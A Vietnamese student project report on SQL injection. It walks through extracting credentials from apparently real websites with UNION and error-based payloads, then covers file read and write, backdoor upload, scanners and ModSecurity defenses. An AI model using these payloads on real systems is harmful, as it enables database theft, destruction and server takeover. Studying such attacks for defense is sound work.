ĐẠI HỌC QUỐC GIA THÀNH PHỐ HỒ CHÍ MINH
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN
ĐỒ ÁN
ĐỀ TÀI: SQL INJECTION
Giảng viên hướng dẫn : ThS. Nguyễn Duy
Sinh viên thực hiện:
Mai Tiến Dũng
12520085
Đinh Tiến Duy
12520097
Vũ Khải Hoàn
12520151
Phạm Văn Hùng
12520162
Tp. Hồ Chí Minh, ngày 01 tháng 05 năm 2016
Mục lục
I.
Tìm hiểu về SQL Injection.
1.
2.
II.
Khái quát.
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ
hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các
thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject và thi hành các
câu lệnh SQL bất hợp pháp.
Đây là lỗ hổng thường gặp nhất của các website trên internet và nằm
trong 10 lỗ hổng hàng đầu của OWASP . Lỗ hổng này nằm trong các ứng
dụng web chứ không phải vấn đề ở cơ sở dữ liệu hay web server. Hầu hết
các lỗi này xuất phát từ lập trình viên.
Hậu quả.
SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác
select, delete, insert, update .. trái phép vào cơ sở dữ liệu của server đó
đang chạy.
Các dạng tấn công SQL Injection.
1.
Tấn công mệnh đề luôn đúng.
Xét 1 đoạn code php sau:
$uname=$_POST['uname'];
$passwrd=$_POST['passwrd'];
$query="select username,pass from users where username='$uname'
and password='$passwrd'";
$result=mysql_query($query);
Thử tài khoản đăng nhập và mật khẩu bằng: 'or ''=', thì cầu truy vấn sẽ
thành 1 câu như sau:
select username,pass from users where username='' or ''='' and
password='' or ''=''
Do mệnh đề luôn đúng nên dễ dàng đăng nhập tài khoản.
Code:
/home/metscom/public_html/myadmin/login.php
$adminname=trim($_POST['adminname']);
$password=trim($_POST['password']);
$query ="SELECT admin_fname, admin_lname, admin_name ,
password, DATE_FORMAT(last_login,'%b, %d %Y %h:%i:%s') as
2.
3.
III.
last_login, last_ip FROM ".TABLEPREFIX."_admin WHERE
admin_name='$adminname' AND password='$password' AND
status='1'";
Sửa lỗi:
$adminname=mysql_real_escape_string(trim($_POST['adminname']));
$password=mysql_real_escape_string(trim($_POST['password']));
Tấn công phá hoại dữ liệu.
Giả sử câu lệnh cũng như trên, nhưng không nhập 'or ''=' nữa mà thêm
như sau:
' ; DROP table table_name'
select username,pass from users where username=$uname and
password='' ; DROP table table_name ''
Với câu lệnh trên, sau khi lấy ra thông tin user, nó sẽ thực thi lệnh xóa đi
một table được chỉ định muốn xoá.
Ngoài ra còn có thể thực hiện câu lệnh insert, update …. vào cơ sở dữ
liệu bị dính lỗ hổng.
Tấn công khai thác dữ liệu.
Là dạng tấn công khá phổ biến của SQL Injection. Giả sử có đoạn code
php: "select * from users where id="+$id;
Muốn lấy giá trị $id cần sử dụng phương pháp GET trong php. Nếu cố
tình nhập vào trình duyệt: 1' union select 1,version(),3-- Với câu truy vần này, đoạn mã php sẽ thực hiện và lộ thông tin phiên bản
của cở sở dữ liệu. Tiếp đó, lỗi này sẽ bị lợi dụng và khai thác lấy thông
tin.
Khai thác lỗ hổng SQL Injection.
1.
Tìm lỗ hổng SQL Injection.
Thử thêm dấu nháy đơn ' hoặc nháy kép " vào đường dẫn trên:
/>Nếu bạn thấy dòng thông báo tương tự:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL
result resource in
hoặc xuất hiện: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to
use near ''' at line 1
hoặc trang bị trắng .. tức là website của bạn đang bị lỗi SQL injection.
2.
3.
Các loại hình thức tấn công SQL Injection.
+ Simple SQL injection:
- UNION SQL Injection: sử dụng toán tử UNION để join 2 truy vấn
với nhau.
- Error Based SQL Injection: khai thác các lỗi cú pháp để trích xuất
một số thông tin.
+ Blind SQL injection:
- Kỹ thuật này được dùng khi website bị mắc lỗi SQL Injection
nhưng đã bị che dấu. Blind SQL Injection chỉ khác Simple SQL
injection ở chỗ thay vì người tấn công có thể thấy được một số
thông tin có ích thì họ chỉ thấy một trang báo lỗi chung.
Khai thác lỗi SQL Injection thông qua phương thức GET.
+ Tìm lỗ hổng SQL Injection.
Tiến hành chọn website để kiểm tra.
Thêm dấu phẩy vào nơi kiểm tra.
+
Do website báo lỗi truy vấn nên xác định website này dính SQL
Injection.
Đếm số cột trong bảng.
Để có thể đếm được số cột trong bảng, ta sử dụng lệnh order by. Bắt
đầu bằng lệnh order by 1--
Tiếp tục dùng lệnh order by cho đến khi xuất hiện lỗi truy vấn.
Kết luận: như vậy bảng có 3 cột.
Để xác định chính xác những cột nào được gọi trong truy vấn, ta sẽ sử
dụng “union”. Chèn đoạn truy vấn “union select 1,2,3--”, ta sẽ xác
định được chính xác những cột được gọi. Những số tương ứng với các
cột được gọi sẽ xuất hiện ở những vị trí mà giá trị được in ra.
+
Sau khi thực hiện, website trả về số 2, như vậy tại số 2 là nơi khai thác
lỗi.
Lấy thông tin phiên bản cơ sở dữ liệu MYSQL đang chạy.
Sử dụng lệnh: union select 1,version(),3-- để lấy thông tin phên bản
MYSQL đang chạy.
+
Ở MySQL, chỉ các phiên bản từ 5.0 trở lên sẽ có một cơ sở dữ liệu là
information_schema. Cơ sở dữ liệu này chứa tất cả thông tin về các cơ
sở dữ liệu khác trong hệ thống, các bảng, các cột, các mối quan hệ
trong các cơ sở dữ liệu đó. Vì vậy, ta sẽ tìm cách truy vấn vào cơ sở
dữ liệu information_schema để lấy được tên các bảng trong cơ sở dữ
liệu muốn lấy thông tin.
Lấy thông tin tên database hiện tại của website bị dính lỗi SQL
Injection.
Dùng lệnh: union select 1,database(),3 From
Information_schema.tables-- để tiến hành lấy tên database.
+
+
Tên database là: ktkt.
Lấy tất cả các tên table.
Dùng lệnh: union select 1, unhex(hex(group_concat(table_name))),3
From Information_schema.tables where table_schema=0x6b746b74-để tiến hành lấy tất cả các tên table.
Do table hiện nhiều, sử dụng chức năng xem mã nguồn để xem table
đã bị khai thác được. Trong đó table “user” là table quan trọng.
Lấy tất cả các colum trong table.
Dùng lệnh: union select 1,
unhex(hex(group_concat(column_name))),3 From
Information_schema.columns where table_schema=0x6b746b74 and
table_name=0x75736572--
+
+
Sau khi khac thác, website hiện 3 columns là
“userID,username,password”. Ta tiến hành lấy dữ liệu để xem
user,password.
Lấy thông tin tên đăng nhập và mật khẩu.
Sử dụng lệnh: union select 1,
concat_ws(0x2f,userID,username,password),3 From ktkt.user--
Tiến hành đăng nhập vào trang quản trị.
4.
Khai thác lỗ hổng SQL Injection thông qua phương thức POST.
+ Tìm lỗ hổng SQL Injection.
Tiến hành chọn website để kiểm tra. Khác với phương thức GET,
phương thức POST cần có công cụ để bắt lấy phương thức POST. Ở
trong bài này, nhóm dùng addon Live HTTP Headers của Firefox để
bắt lấy phương thức POST, dùng Hack Bar để thực thi phương thức
POST, dùng dấu phẩy để kiểm tra lỗ hổng SQL Injection.
Do
website
báo lỗi
truy vấn
nên xác
định
website
này dính
SQL
+
+
Injection. Với thông báo trên, dùng phương pháp xPath SQL Injection
hoặc Error Based SQL Injection để khai thác. Trong bài này kết hợp
cả hai phương pháp trên.
Lấy thông tin phiên bản cơ sở dữ liệu MYSQL đang chạy.
Dùng lệnh: and extractvalue(rand(),concat(0x0a,version()))-- - để lấy
phiên bản cơ sở dữ liệu đang chạy.
Lấy thông tin tên database hiện tại của website bị dính lỗi SQL
Injection.
Dùng lệnh: and extractvalue(rand(),concat(0x0a,database()))-- - để
lấy tên cơ sở dữ liệu đang khai thác.
+
Lấy tất thông tin tên table.
Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select
concat(table_name) from information_schema.tables where
table_schema=database() limit 0,1)))-- - để lấy tên table. Tuy nhiên
do dùng limit nên chỉ lấy được một table và để lấy table cần lấy, cần
phải nâng limit lên. Ở đây cần lấy table “users” thì cần limit 180,1
and extractvalue(rand(),concat(0x0a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit
180,1)))-- -
+
Lấy thông tin column trong table.
Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select
concat(column_name) from information_schema.columns where
table_schema=database() and table_name=0x7573657273 limit
0,1)))-- - để lấy từng column một, với 0x7573657273 là mã hex của
users. Để lấy hết column, cần phải nâng limit lên.
+
Lấy thông tin tên đăng nhập và mật khẩu.
Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select
concat(id,0x2f,email,0x2f,password,0x2f,password_salt) from users
limit 0,1)))-- - để lấy id, địa chỉ email, password, password salt. Tuy
nhiên do xPath SQL Injection trong khai thác website này hiện thông
tin cần xem cần ít, do đó phải xài Error Based SQL Injection.
(Hình trên khai thác từng column một)
Lấy column password dùng lệnh: and (select 1 FROM(select
count(*),concat((select concat(0x3a,password) FROM users LIMIT
0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP
BY x)b)-- Lấy column password_salt dùng lệnh: and (select 1 FROM(select
count(*),concat((select concat(0x3a,password_salt) FROM users
LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables
GROUP BY x)b)-- -
Nâng limit lên để lấy tiếp các thông tin khai thác.
(Hình trên khai thác Error Based SQL Injection)
5.
Một số khai thác khác thông qua SQL Injection
+ Đọc tập tin
Trong trường hợp đủ quyền, lỗ hổng sql injection cho phép chúng ta
đọc được tập tin. Tuy nhiên để thực hiện điều này,m chúng ta cần biết
rõ đường lưu trữ đúng trên ổ cứng.
Vd: />lang=vn&mn=ttuc&type=0&id=-228 UNION SELECT
1,load_file('E:\webcode\WEBSITE_UFM\khoaketoan\index.php'),3-Do cơ chế lọc nên cần sử dụng hexa đề không bị chặn.
+ Ghi tập tin
+
Cũng như trường hợp đọc, khi đủ quyền lỗ hổng SQL Injection cho
phép chúng ta ghi được tập tin. Tuy nhiên để thực hiện điều này,m
chúng ta cần biết rõ đường lưu trữ đúng trên ổ cứng.
Vd: />lang=vn&mn=ttuc&type=0&id=-228 UNION SELECT 1,"echo 'test';?>",3 INTO OUTFILE
"E:\webcode\WEBSITE_UFM\khoaketoan\test.php"-Upload php backdoor qua trang quản trị, thực hiện chỉnh sửa code và
thực thi lệnh SQL
Do trang quản trị chỉ cho tải lên tập tin định dạng đuôi ảnh, do đó cần
sử dụng addon của trình duyệt firefox: “Live HTTP headers”, nhằm
bắt lấy phương thức POST và sau đó gửi lại với định dạng php để
chạy backdoor. Trong php backdoor có nhiều chức năng, trong đó có
công cụ chỉnh sửa tập tin và công cụ “MYSQL Manager” dùng thực
thi các câu lệnh MYSQL.
IV.
Kiểm tra lỗ hổng SQL Injection
1.
2.
Giới thiệu
Công cụ kiểm tra SQL Injection giúp các lập trình viên ra soát lại lỗ hổng
này, đồng thời giúp các quản trị viên tím kiếm và sửa lỗi. Một số công cụ
kiểm tra lỗ hổng SQL Injection như: Acunetix web vulnerability scanner,
N-Stalker Web Application Security Scanner, WSSA - Web Site Security
Scanning Service, GreenSQL Database Security…
Acunetix web vulnerability scanner
Đây là công cụ quét có hỗ trợ nhiều lỗ hổng, trong đó có SQL Injection.
Ngoài ra, công cụ này
tạo bản báo cáo rất chi
tiết sau khi quét.
V.
Ngăn chặn tấn công
SQL Injection với
ModSecurity.
1.
Cài đặt.
Yêu cầu cài gói RHEL, do nhóm sử dụng CentOS 6.7 nên nhóm sẽ cài
gói RHEL 6.x / CentOS 6.x Users.
Lệnh cài: rpm -Uvh />Cài ModSecurity dùng lệnh: yum install mod_security
Do trong ModSecurity còn hạn chế về rule nên nhóm tải và cài thêm rule:
/>Bung và giải nén tại thư mục: /etc/httpd/conf.d/
Đổi tên: modsecurity_crs_10_setup.conf.example thành tên khác, trong
này nhóm đổi thành modsecurity_crs_10_setup.conf; và nhóm có đổi thư
mục owasp-modsecurity-crs thành owasp-modsecurity.
Vào /etc/httpd/conf.d/mod_security.conf thêm Include owaspmodsecurity-crs/modsecurity_crs_10_setup.conf và Include owaspmodsecurity-crs/base_rules/*.conf
2.
Kiểm tra hoạt động ModSecurity trước khi kích hoạt.
Kiểm tra SQL Injection bằng cách thêm dấu phẩy.
3.
Kiểm tra hoạt động ModSecurity sau khi kích hoạt.
VI.
Ưu điểm.
1.
2.
3.
Ưu điểm.
+ Lỗ hổng SQL injection là lỗ hổng thường gặp trên các website.
+ Có nhiều công cụ hỗ trợ trong việc quét lỗi và tấn công.
+ Kỹ thuật tấn công đa dạng.
+ Có thể làm bàn đạp để thực hiện các cuộc tấn công khác.
Nhược điểm.
+ Yêu cầu kiến thức sâu về ngôn ngữ web, server scripting và database.
+ Các loại tấn công phức tạp như Blind SQL injection đòi hỏi người tấn
công phải có kinh nghiệm nhiều.
+ Nếu gặp phải Web Application Firewall đòi hỏi phải có kĩ thuật
chuyên sâu.
Phương pháp khắc phục.
Kiểm tra thông tin đăng nhập, giới hạn độ dài chuỗi đăng nhập.
Password nên lưu ở dạng hash.
Dùng tool để quét tìm lỗi SQL injection như MS Source Code Analyzer,
MS UrlScan, dotDefender, IBM AppScan,…
Xây dựng các rule WAF mạnh nhằm hạn chế SQL Injection.